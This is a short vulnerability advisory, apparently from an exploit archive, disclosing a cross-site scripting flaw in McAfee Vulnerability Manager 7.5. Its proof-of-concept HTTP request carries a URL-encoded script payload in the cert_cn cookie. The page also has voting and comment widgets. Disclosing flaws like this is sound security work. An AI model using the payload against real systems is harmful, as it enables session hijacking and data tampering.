McAfee Vulnerability Manager 7.5 Cross Site Scripting

2013-03-08 / 2013-03-10

Credit: Asheesh kumar Mani Tripathi

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-79

=================================================================
 
                     McAfee Vulnerability Manager 7.5 cross-site scripting (XSS) Vulnerability
=================================================================
 
#Date- 8/3/2013

# code by Asheesh kumar Mani Tripathi
 
# Credit by Asheesh Anaconda
 
#Vulnerbility
  McAfee&#174; Vulnerability Manager 7.5   is prone to an cross-site scripting (XSS) Vulnerability because the application fails to properly 
sanitize user-supplied input 
 
#Impact
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities 
 
==========================
 
                                                           Request
==========================

GET /index.exp HTTP/1.1
Cookie: identity=p805oa53c0dab5vpcv1da30me7; cert_cn=%27%22%28%29%26%251%3CScRiPt %3Eprompt%28920847%29%3C%2FScRiPt%3E; remember=remember
Host: 172.28.1.1
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

McAfee Vulnerability Manager 7.5 Cross Site Scripting

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.